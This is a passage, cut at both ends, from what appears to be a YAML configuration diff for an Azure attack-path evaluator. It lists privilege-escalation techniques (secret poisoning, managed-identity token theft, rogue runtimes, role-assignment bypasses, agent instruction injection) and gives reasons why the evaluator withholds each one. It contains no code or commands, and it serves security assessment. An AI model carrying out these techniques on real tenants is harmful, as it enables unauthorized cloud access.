src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriesintegrationruntimeslistauthkeysaction + technique: Register a rogue self-hosted integration runtime node and receive linked-service credentials + original_id: azure-datafactory-rogue-shir-linked-service-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#easy-auth-secret-theft--authentication-bypass + technique: Read the Easy Auth identity-provider client secret from app settings + original_id: azure-appservice-easyauth-client-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + technique: Read a reusable credential stored in an availability test + original_id: azure-peaso-microsoftinsightswebtestsread + reason: "NEEDS SCHEMA: Exact credential in the stored request, its subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + technique: Recover a reusable principal credential from Logic App run output + original_id: azure-peaso-microsoftlogicworkflowsrunsactionsrequesthistoriesread + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + technique: Recover a reusable principal credential from Logic App run output + original_id: azure-peaso-microsoftlogicworkflowsrunsactionsread + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#trusted-ip-and-metadata-abuse + technique: Verified VM SSRF to managed identity + original_id: azure-vm-verified-ssrf-imds + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + technique: Read shared gallery image with verified cloud credential + original_id: azure-gallery-verified-image-secret + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + technique: Drive the agent's managed identity — instruction / tool-config injection (agents/threads, agents/write, + ...) + original_id: azure-audit-drive-the-agents-managed-identity-instruction-tool-config-injection-agen + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + technique: Custom container / build-service supply chain + original_id: azure-audit-custom-container-build-service-supply-chain + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + technique: 'Elastic Jobs: run arbitrary T-SQL through jobAgents/jobs/steps/write + executions/write' + original_id: azure-audit-elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite-executi + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + technique: Recover an Entra or managed-service credential from publicly served app configuration (SP) + original_id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-sp + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + technique: Recover an Entra or managed-service credential from publicly served app configuration (MI) + original_id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-mi + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#publishingdeployment-credentials + technique: Use publicly leaked App Service publishing credentials to deploy code as the app + original_id: azure-v3-02-use-publicly-leaked-app-service-publishing-credentials + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + technique: Deploy an authorized managed-app template that grants a new identity privileged RBAC + original_id: azure-peaso-deploy-as-identity-inside-a-managed-app + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#common-techniques + technique: Overwrite an assigned App Attach image to reach launching users + original_id: azure-avd-appattach-share-overwrite-assigned-user + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#cross-subscription-not-cross-tenant-abuse-worth-noting + technique: Pull ACR image with verified principal credential + original_id: azure-acr-verified-image-secret + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- id: azure-aks-managedclusters-write-admin-group + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + technique: Add an Entra group the source belongs to as AKS cluster admin + reason: managedClusters/write alone does not establish cluster-admin. The evaluator does not verify that the source belongs to the chosen Entra group, that the cluster uses Entra integration, or that the source can retrieve a user kubeconfig and reach the API. +- id: azure-entraid-graph-delegatedpermissiongrant-allprincipals + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#delegatedpermissiongrantreadwriteall + technique: Graph DelegatedPermissionGrant.ReadWrite.All creates tenant-wide delegated consent + reason: Consent creation alone does not yield a user token. Every target user must authenticate to an attacker-controlled client; the evaluator does not verify that event or a bound token, so any-user matching is overbroad. +- id: azure-entraid-custom-security-attribute-abac-dataplane + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Assign custom security attributes to satisfy a principal-attribute ABAC condition (data plane) + reason: The evaluator finds a principal-attribute ABAC condition but does not solve whether the source can set a satisfying value in the permitted attribute set; the target permission gain is unproven. +- id: azure-entraid-custom-security-attribute-abac-scope-owner + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Assign custom security attributes to satisfy a principal-attribute ABAC condition on role-assignment rights + reason: The evaluator finds a principal-attribute ABAC condition but does not solve whether the source can set a satisfying value in the permitted attribute set; the target RBAC gain is unproven. +- id: azure-entraid-cba-rogue-certificate-authority + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#rogue-certificate-authority-in-the-tenant-cba-trust-store + technique: Trust an attacker certificate authority for certificate-based authentication + reason: A trusted attacker CA does not by itself prove impersonation of every tenant user. The evaluator does not verify each target username/certificateUserIds binding, CBA method scope, or a usable target-bound certificate. + +# Source-to-target joins that require typed current outcome proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#abusing-sync_-deprecated + source_revision: 658a097d5c + technique: Directory Synchronization Accounts role holder resets user passwords through the sync API + original_id: azure-entra-hybrid-directory-sync-role-password-reset + reason: 'NEEDS SCHEMA: holding Directory Synchronization Accounts does not prove a currently accepted password-hash sync action against a particular user, successful reset, usable new credential, or bypass of target sign-in controls. The documented cloud-only reset behavior is historical and version-dependent.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#principals-generated + source_revision: 658a097d5c + technique: Directory Synchronization Accounts role holder adds credentials or privileges to service principals (historical) + original_id: azure-entra-hybrid-directory-sync-role-sp-credentials + reason: 'NEEDS SCHEMA: the historical role alone does not prove a current executable credential-add or app-role-grant action against a particular service principal, successful change, usable credential, or new effective permission.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#fleet-rce-via-platform-scripts-system-over-graph + source_revision: 171e422 + technique: Push a SYSTEM script or app to managed devices and take over their users' sessions + original_id: azure-intune-managed-device-user-code-execution + reason: 'NEEDS SCHEMA: permission to deploy a device script does not establish that the deployment reached a particular device, that the named user had a live or cached session there, or that a usable user token or credential was captured.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#credential-access--filevault--bitlocker-keys--laps-passwords + source_revision: 658a097d5c + technique: Read Windows LAPS passwords and take over the users of those devices + original_id: azure-intune-laps-local-admin-device-user + reason: 'NEEDS SCHEMA: device/user association and LAPS read permission do not prove an enabled current LAPS backup, returned usable local-admin password, device reachability, or a captured session for the named cloud user.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrwrite---upstream-repoint-event-exfil--mi-token-ssrf + source_revision: a66f094ede + technique: Repoint a SignalR upstream or Web PubSub event handler to capture its managed-identity token + original_id: azure-signalr-upstream-managed-identity-token + reason: 'NEEDS SCHEMA: upstream/event-handler write permission does not prove the exact configuration, accepted token audience, triggered event, delivered managed-identity token, or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#managed-identity-attach-via-signalrwrite-or-webpubsubwrite + source_revision: a66f094ede + technique: Attach a user-assigned identity to SignalR or Web PubSub and capture its upstream token + original_id: azure-signalr-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: identity attach plus upstream configuration rights do not prove a successful identity attachment, accepted token audience, triggered event, delivered token, or new action for that particular user-assigned identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 658a097d5c + technique: Repoint a published AVD RemoteApp to run attacker commands in assigned users' sessions + original_id: azure-avd-application-write-launching-users + reason: 'NEEDS SCHEMA: assignment to an application group does not prove the named user launched the changed RemoteApp, had a live or cached session, or that the attacker captured a usable user token or credential.' + +# Consumer poisoning and message injection without exact object-to-identity execution proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#write-only-secret-poisoning + source_revision: a66f094ede + technique: Poison a Key Vault secret read by a privileged workload + original_id: azure-keyvault-secret-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#poison-a-privileged-consumer-with-microsoftstoragestorageaccountsblobservicescontainersblobswrite + source_revision: a66f094ede + technique: Poison blobs consumed by a privileged service + original_id: azure-storage-blob-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreskeyvalueswrite + source_revision: a66f094ede + technique: Poison App Configuration key-values read by a privileged application + original_id: azure-appconfig-keyvalue-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#conditional-escalation-through-a-downstream-consumer + source_revision: a66f094ede + technique: Inject queue messages into a privileged consumer + original_id: azure-queue-message-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#shared-access-key-disclosure-and-event-injection + source_revision: a66f094ede + technique: Inject Event Grid events into a privileged handler + original_id: azure-eventgrid-event-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-dataactions-microsoftservicebusnamespacesmessagessendaction + source_revision: a66f094ede + technique: Inject Service Bus messages into a privileged consumer + original_id: azure-servicebus-message-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' + +# Identity attachment or workspace metadata without observed execution/token proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#notebook--spark-job-rce-as-the-submitting-identity--token--key-vault-theft + source_revision: 171e422 + technique: Run a Fabric notebook or Spark job definition as the workspace identity + original_id: azure-fabric-notebook-workspace-identity + reason: 'NEEDS SCHEMA: workspace identity metadata and notebook control do not prove a successful scheduled or user-triggered run as that exact identity, token acquisition, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#fabric-administrator-entra--tenant-takeover--org-wide-scanner-recon + source_revision: 171e422 + technique: Fabric Administrator takes over a workspace and runs code as its workspace identity + original_id: azure-fabric-administrator-workspace-identity + reason: 'NEEDS SCHEMA: Fabric Administrator privileges and workspaceIdentity ID do not prove a qualifying execution trigger, successful run as the particular workspace identity, or usable token and new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#pivoting + source_revision: 658a097d5c + technique: AAD DC Administrators member takes over Domain Services-joined VMs and their managed identities + original_id: azure-entra-domain-services-dc-admins-vm-identity + reason: 'NEEDS SCHEMA: AAD DC Administrators membership, an historical domain-join extension, and an attached VM identity do not prove current VM control, code execution, or a captured token for that identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaeditoraction--datasource-proxy-ssrf-to-mi + source_revision: a66f094ede + technique: Query Azure data as the Grafana workspace identity through data sources + original_id: azure-grafana-datasource-workspace-identity + reason: 'NEEDS SCHEMA: editor/datasource access may permit a bounded query, but no exact protected target scope, successful token disclosure, or newly authorized action for the attached managed identity is established.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanawrite--mi-attach--remove-the-service-account-persistence-boundary + source_revision: a66f094ede + technique: Attach a user-assigned identity to a Grafana workspace and query as it + original_id: azure-grafana-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: grafana/write can attach a user-assigned identity, but attachment alone does not prove a usable datasource or query that obtains its token and a new target action.' + +# Workload or bounded-token effects without exact identity execution and gain proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: a66f094ede + technique: Submit an Azure ML job to a compute target with a managed identity + original_id: azure-ml-jobs-write-compute-identity + reason: 'NEEDS SCHEMA: jobs/write and attached compute identity inventory do not prove exact compute selection, accepted job execution, identity token use, or newly authorized target action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: 171e422 + technique: Submit an Azure ML serverless job running as the workspace user-assigned identity + original_id: azure-ml-jobs-write-serverless-workspace-uami + reason: 'NEEDS SCHEMA: a workspace UAMI and jobs/write do not prove serverless compute selection, a successful job using that exact UAMI, obtained token, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#dump-workspace-linked-resource-keys + source_revision: a66f094ede + technique: Poison Azure ML job code or images with the workspace linked-resource keys + original_id: azure-ml-workspace-linked-keys-workload-poisoning + reason: 'NEEDS SCHEMA: workspace linked-resource keys alone do not establish the exact poisoned artifact, consumer binding, rerun, identity token, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#compute-as-identity-rce-marquee-privesc + source_revision: 658a097d5c + technique: Submit code to existing managed-identity-bearing ML compute (marquee source) + original_id: azure-ml-compute-code-execution-marquee + reason: 'NEEDS SCHEMA: broad jobs/write, experiments/runs/write, or notebooks/vm/write alternatives plus an attached identity do not prove the exact submitted code, compute host, successful execution, or identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#hijack-an-existing-image-template + source_revision: 171e422 + technique: Recreate and run an existing image template with an injected customizer + original_id: azure-imagebuilder-template-hijack-existing + reason: 'NEEDS SCHEMA: attached_to_service for imageTemplates cannot distinguish the template service UAMI from the vmProfile build-VM UAMI; exact template mutation, queued build, execution, and reached identity are unverified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsjobsimportswrite--bulk-graph-import-mass-poisoning--mi-confused-deputy-read + source_revision: 171e422 + technique: Use an import job to read blobs with the Digital Twins instance identity + original_id: azure-digitaltwins-import-job-identity-read + reason: 'NEEDS SCHEMA: import-job write may induce only a partial blob read by the service identity; no exact token or newly authorized managed-identity action is proven.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstanceswrite--managed-identity-attach-confused-deputy-foothold + source_revision: 171e422 + technique: Attach a user-assigned identity to a Digital Twins instance and import with it + original_id: azure-digitaltwins-assign-identity-import + reason: 'NEEDS SCHEMA: attaching a UAMI to Digital Twins and submitting an import do not prove a token was obtained for that exact identity or that the source gained its permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistsasaction + source_revision: 171e422 + technique: Mint a Maps SAS backed by the account's user-assigned identity + original_id: azure-maps-listsas-attached-identity + reason: 'NEEDS SCHEMA: listSas/action may return bounded Maps SAS authority, but it does not grant the account attached managed identity. Require exact SAS claims, usable credential, prior absence, and newly allowed Maps action on a bounded authority target.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#dump-cluster-gateway-admin-credentials + source_revision: 171e422 + technique: Read the cleartext HDInsight gateway (Ambari) credentials + original_id: azure-hdinsight-get-gateway-settings + reason: 'NEEDS SCHEMA: getGatewaySettings may disclose a gateway credential, but cluster reachability, usable node login, an exact captured node managed-identity token, and new action are unverified.' + +# Template spec poisoning without an exact future deployer and observed gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: 171e422 + technique: Overwrite a template spec version consumed by a more privileged deployer + original_id: azure-arm-templatespec-version-poisoning + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + technique: Overwrite a template spec version consumed by a managed-identity deployer + original_id: azure-arm-templatespec-version-poisoning-managed-identity + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + technique: Overwrite a template spec version consumed by a more privileged user + original_id: azure-arm-templatespec-version-poisoning-user + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' + +# AVD session host identity without observed RemoteApp execution and IMDS token proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 658a097d5c + technique: Repoint a published AVD RemoteApp to run attacker commands on session hosts + original_id: azure-avd-application-write-session-host-rce + reason: 'NEEDS SCHEMA: Application Group write and session-host association do not prove an assigned user launched the modified RemoteApp, that its code ran on the exact host, that IMDS was reachable, or that a token for the host managed identity was obtained. The historical row had confidence unknown.' + +# Exact execution, consumer binding, and token-delivery proof required before activation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--node-type-create-or-modify + source_revision: a66f094ede + technique: Attach a user-assigned identity to a managed-cluster node type + original_id: azure-servicefabric-managed-nodetype-user-assigned-identity + reason: 'NEEDS SCHEMA: Node-type identity attachment alone does not give the source code execution on that node or prove an exact IMDS token and newly allowed action were obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 171e422 + technique: Create a guest configuration assignment on an Azure VM + original_id: azure-guestconfiguration-assignment-write + reason: 'NEEDS SCHEMA: Assignment write alone does not prove the exact VM has the required extension and system identity, is running, accepted the package, executed it, and exposed the named managed identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#spark-pool-poisoning-via-workspacesbigdatapoolswrite + source_revision: 171e422 + technique: Poison a Synapse Spark pool configuration to run code as the workspace identity + original_id: azure-synapse-bigdatapools-write-spark-poisoning + reason: 'NEEDS SCHEMA: Spark pool write alone does not establish a later run of attacker code as the exact workspace identity or successful access to its token/new permission.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#managed-identity-token-theft-with-microsoftsearchsearchservicesskillsetswrite + source_revision: a66f094ede + technique: Custom Web API skill sends a Search managed-identity token to the source + original_id: azure-ai-search-skillset-write-identity-token + reason: 'NEEDS SCHEMA: Search write or admin-key authority alone does not prove a skill/indexer or debug session actually executed, delivered a usable token for an exact accepted audience, and enabled a newly permitted action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#service-resource-tamper-with-microsoftsearchsearchserviceswrite + source_revision: a66f094ede + technique: Attach a user-assigned identity to a Search service and have a custom skill send its token to the source + original_id: azure-ai-search-uami-attach-skillset-token + reason: 'NEEDS SCHEMA: Attaching an assignable UAMI and modifying Search resources does not prove a skill executed, delivered its usable audience-bound token, and enabled a new action for that exact identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicegatewayslistdebugcredentialsaction--servicegatewayslisttraceaction--live-requestresponse-wiretap + source_revision: 658a097d5c + technique: Capture backend managed-identity tokens from APIM gateway request traces + original_id: azure-apim-gateway-trace-managed-identity-token + reason: 'NEEDS SCHEMA: Debug/trace permissions alone do not prove a particular existing policy used the named MI, a traced request ran, the Authorization header was unmasked, or a usable audience-bound token was received.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceloggerswrite--servicediagnosticswrite--persistent-traffic-exfil-to-attacker-event-hub + source_revision: 658a097d5c + technique: Ship backend request headers to an attacker logger through APIM diagnostics + original_id: azure-apim-diagnostics-logger-managed-identity-token + reason: 'NEEDS SCHEMA: Logger and diagnostics writes alone do not prove the named MI was used by the exact API policy, matching traffic occurred, the backend Authorization header was captured, or a usable token was received.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriespushwrite-microsoftcontainerinstancecontainergroupsrestartaction + source_revision: 658a097d5c + technique: Overwrite a registry image and restart the consuming container group + original_id: azure-acr-push-restart-aci-consumer + reason: 'NEEDS SCHEMA: Registry push and a container-group restart do not prove the exact pushed image digest is consumed by that group, attacker code executed, or its attached identity was reached.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + source_revision: a66f094ede + technique: Overwrite a registry image and restart the consuming Container App revision + original_id: azure-acr-push-restart-containerapp-consumer + reason: 'NEEDS SCHEMA: Mutable tag overwrite does not establish an exact registry-image-to-container-app binding, new revision execution, or identity token access.' + +# Authorization outcome and ABAC scope must be exact before claiming Owner. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroleassignmentswrite + source_revision: 171e422 + technique: Create Azure role assignments over a scope + original_id: azure-authorization-roleassignments-write + reason: 'NEEDS SCHEMA: roleAssignments/write may be ABAC-limited to specific roles and principal types. Before claiming Owner, validate the exact source assignment condition, target scope, assignee, successful Owner grant, and newly effective permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroledefinitionswrite + source_revision: 171e422 + technique: Modify a custom role definition already assigned to the source + original_id: azure-authorization-roledefinitions-write-assigned-role + reason: 'NEEDS SCHEMA: roleDefinitions/write at one scope does not prove write authority over every custom-role AssignableScope, successful role update, or a new effective action through an exact existing source assignment.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#abac-constrained-delegation-bypass-via-custom-role-indirection + source_revision: 171e422 + technique: Escape a denylist-constrained role-assignment delegation via a new custom role + original_id: azure-authorization-abac-denylist-bypass-custom-role + reason: 'NEEDS SCHEMA: roleAssignments/write plus roleDefinitions/write cannot prove a denylist-only delegation, matching scope, accepted custom role creation/assignment, and subsequent Owner grant without typed condition and outcome proof.' + +# Read or invocation authority without exact usable token or executed workload proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountslistkeysaction + source_revision: 171e422 + technique: Register a rogue Hybrid Runbook Worker with the Automation account agent keys + original_id: azure-automation-listkeys-rogue-hybrid-worker + reason: 'NEEDS SCHEMA: Automation account key access alone does not prove a rogue worker registered, received an exact job, executed under its identity, or exposed a usable token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionstokenread + source_revision: 171e422 + technique: Obtain a Functions runtime admin token + original_id: azure-functions-admin-token-read + reason: 'NEEDS SCHEMA: A function admin token enables invocation, but no exact function behavior, managed-identity token disclosure, target identity, or newly allowed action is verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction + source_revision: a66f094ede + technique: Read app settings exposing the content storage connection string + original_id: azure-functions-config-list-storage-key + reason: 'NEEDS SCHEMA: Config-list storage credentials alone do not prove the exact content-storage binding, overwrite of executable code, successful function execution, and usable named managed-identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + source_revision: 171e422 + technique: Dump the worker process memory through the ARM processes surface + original_id: azure-appservice-process-dump-cached-tokens + reason: 'NEEDS SCHEMA: Process-dump permission does not prove the exact process contains a live usable managed-identity token, that the dump was obtained, or which identity and newly allowed action it authenticates.' + +# Consumer/trigger execution needs an exact typed identity outcome. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + technique: Instruct or reconfigure an SRE Agent to act with its managed identity + original_id: azure-sre-agent-drive-managed-identity + reason: 'NEEDS SCHEMA: Agent writes alone do not prove exact tool policy/run mode, approved or autonomous tool invocation, or a newly authorized action by the named MI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + technique: Rebind an SRE Agent to a user-assigned identity and steer it + original_id: azure-sre-agent-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: UAMI attachment does not prove the agent can or did perform an exact newly authorized action with that identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfetchmcpservercredentialsaction + source_revision: 171e422 + technique: Fetch a session pool MCP API key and execute code in sessions + original_id: azure-containerapp-sessionpool-mcp-credentials + reason: 'NEEDS SCHEMA: MCP credential fetch does not prove identity exposure is enabled for the exact session pool or that the caller acquired a usable identity token.' +- source: 